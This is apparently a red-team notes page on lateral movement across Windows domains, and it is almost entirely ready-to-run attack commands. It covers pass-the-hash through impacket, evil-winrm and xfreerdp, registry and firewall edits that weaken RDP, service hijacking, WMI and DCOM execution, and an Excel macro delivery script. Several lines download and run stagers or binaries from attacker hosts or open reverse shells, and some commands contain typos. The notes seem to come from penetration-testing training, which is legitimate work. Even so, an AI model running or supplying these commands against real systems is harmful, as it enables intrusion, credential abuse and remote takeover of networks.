Lateral Movement

Moving laterally between computers in a domain is important for accessing sensitive information/materials, and obtaining new credentials.

Each of these strategies are compatible with the various techniques in the User Impersonation chapter.

*To get the IP of a computer:

Test-NetConnection -ComputerName dc01.rastalabs.org -Port 445

or

nslookup computername

or

([System.Net.Dns]::GetHostAddresses("computername") | Where-Object { $_.AddressFamily -eq "InterNetwork" }).IPAddressToString

In Linux:

PsExec

impacket-psexec {DOMAIN}/{USER}:{PASSWORD}@{IP}

impacket-psexec {domain}/{user}@{IP} -hashes ':{NTHash}'

Since this runs a 32-bit process and we are commonly in a 64-bit enviroment to run a powershell command:

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe iex (new-object net.webclient).downloadstring('http://192.168.1.1/stager.txt')

WMI

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> wmiexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

! Adapt wmiexec.py to run a process without cmd.exe and remove output (stealthy).

https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Remote-WmiExecute.ps1

Remote-WmiExecute -Payload "regsrv32 /s /n /u /i:http://your/payload test.dll" -ComputerName 192.168..1.1

WINRM (5985, 5986)

evil-winrm -i <IP> -u <USER> -p <PASSWORD>

evil-winrm -i <IP> -u <USER> -H <HASH>

proxychains evil-winrm -i 172.16.179.166 -u complyedge.com\jim -H 'e48c13cefd8f9456d79cd49651c134e8'

evil-winrm -i <IP> -c cert.pem -k key-pem -S

RDP (3389)

- Connect with known credentials / hash

remina

rdesktop -u <USERNAME> <IP> rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD> <IP>

xfreerdp /u:[DOMAIN\]<USERNAME> /p:<PASSWORD> /v:<IP> xfreerdp /u:[DOMAIN\]<USERNAME> /pth:<HASH> /v:<IP>

xfreerdp /u:admin /pth:{ntlm hash} /v:192.168.120.6 /cert-ignore

xfreerdp /u:user /p:password /v:10.10.10.10 +compression +clipboard /dynamic-resolution /size:1900x1000 /cert-ignore /timeout:25000

proxychains -q xfreerdp /v:{ip} /u:{user} /pth:{ntlm hash} +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /timeout:25000

To do a pth through RDP we may have to modify restricted admin mode values.

- Adding user to RDP group (Windows)

net localgroup "Remote Desktop Users" /add

- Deleting registry key required to use restricted admin mode (We must have code execution, then we can use xfreerdp and connect with a hash)

Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin

- Add RDP port

crackmapexec smb {IP} -u 'Administrator' -H '{hash}' -M rdp -o action=enable

Also works with -p '{password}'

Then we can check with nmap and conect to the desktop with remina, rdesktop or xfreerdp

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall set rule group="remote desktop" new enable=yes

sc start TermService

Others

winexe -U 'admin%password' //MACHINE_IP cmd.exe

smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> smbexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

atexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> <COMMAND> atexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

If we have valid credentials but can't spwan a shell (crackmapexec say's pawned if we can get a shell, if not it just says [+] for valid credentials) and we alredy have a shell with other user we can move to the user we have credential with runas. We can use the improved version, RunasCS, and send us another reverse shell:

https://github.com/antonioCoco/RunasCs

.\RunasCs.exe {user} {password} powershell -r {My IP}:{PORT}

In Windows:

Powershell Session (WinRM)

If we can access a computer (we have rights or ptt):

$session = new-pssession -computername m3webaw

invoke-command $session {whoami}

If we have the creds of the user who can access the target computer:

$password = ConvertTo-SecureString -String "password" -AsPlainText -Force

$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "username", $password

$session = New-PSSession -ComputerName ws05 -Credential $credential (If we are in a powershell from Linux, we must add -Authentication Negotiate)

invoke-command $session {whoami}

Now we can execute an encoded command to execute in memory shellcode (Powershell payloads) or upload a binary and execute it with the following commands:

invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri 'http://10.10.14.10/shelly.exe' -OutFile 'c:\\Windows\\Tasks\\shelly.exe'}

invoke-command $session {cd 'c:\\Windows\\Tasks'; .\shelly.exe 10.10.14.10 80}

Fileless, no PsExec

Instead of using PsExec, to avoid writting to disk, we can use the OpenService API to open an existing service and invoke ChangeServiceConfig to change the binary that the service executes.

- SharpNoPsExec

https://github.com/juliourena/SharpNoPSExec/tree/master

SharpNoPSExec.exe --target=computer.name --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e {encoded command}""

- OSEP C# Code

https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Fileless%20Lateral%20Movement

lat.exe {computer} {service name} {uploaded payload.exe}

lat.exe web05 SensorService “C:\windows\tasks\inj.exe”

PsExec

To switch to system user to be in domain context (Allows us to enumerate with PowerView, launch SpoolSample, …):

.\PsExec64.exe -accepteula -s -i cmd.exe

RDP (3389)

- Connect with known credentials / hash

https://github.com/0xthirteen/SharpRDP

SharpRDP.exe computername=appsrv01 command=notepad username=corp1\dave password=lab

WMI

Windows Management Instrumentation:

For example, to execute a binary (reverse shell or beacon), that we have uploaded to the compromised machine, in another computer in order to move lateraly. SharpWMI.

execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe"

The process is now running on the target so now we need to connect to it. For example, with Cobalt Strike: link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

This can also be done manually with powershell.

General Enumeration:

First, to list processes using get WMI one remote computer (Credential must be submitted if needed like in PS Session):

get-wmiobject-class win32_process -computername PC-1 -credential $credential | select-object name

To query WMI to retrieve service info from multiple remote computers:

Get-WmiObject -Query "select * from win32_service where name="WinRM"" -ComputerName PC-1, PC-2- credential $credential

To retrieve information specifically about the logical disk associated with the 'C:'drive:

Get-WmiObject Win32 LogicalDisk -filter "DeviceID = 'c: " -ComputerName PC-1, PC-2 -credential $credential

INVOKE-WMIMETHOD + WIN32_PROCESS (Command Execution):

First, to find available methods within a chosen class (win32_process):

Get-WmiObject-Class win32_process-list | Select-Object -ExpandProperty methods

Then, to run the method we want:

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "notepad.exe"

Invoke-WmiMethod -Class win32 process -Name create -ArgumentList "powershell -c ping localhost"

To run it on a remote machine:

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell -c ping localhost" - computername PC-1 -credential $credential

DCOM

- Invoke-DCOM.ps1

https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1

powershell-import C:\Tools\Invoke-DCOM.ps1

powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe

- Example with Excel

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","{IP of the remote workstation}"))

$com | Get-Member

First we generate the reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={port} -f hta-psh -o evil.hta

Then we copy the payload starting with powershell … and with a python script we do a string split

(Locate python string that can do string split)

Then create an excel file > View > Macros > add a macro name (ex: mymacro) > create

Sub mymacro ()
    Dim Str As String
    {copy payload Str = ……}
    CreateObject("Wscript.Shell").Run.Str
End Sub

Then save in xls format. Then we create the following exceldcom.ps1 script:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","{IP of the remote workstation}"))
	
$LocalPath = "C:\Users\user\myexcel.xls"
	
$RemotePath = "\\{IP of the remote workstation}\c$\myexcel.xls"
	
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

$temp = [system.io.directory]::createDirectory($Path)
	
$Workbook = $com.Workbooks.Open(C:\myexcel.xls)
	
$com.Run("mymacro")

The we run the script to receive a reverse shell.

Last updated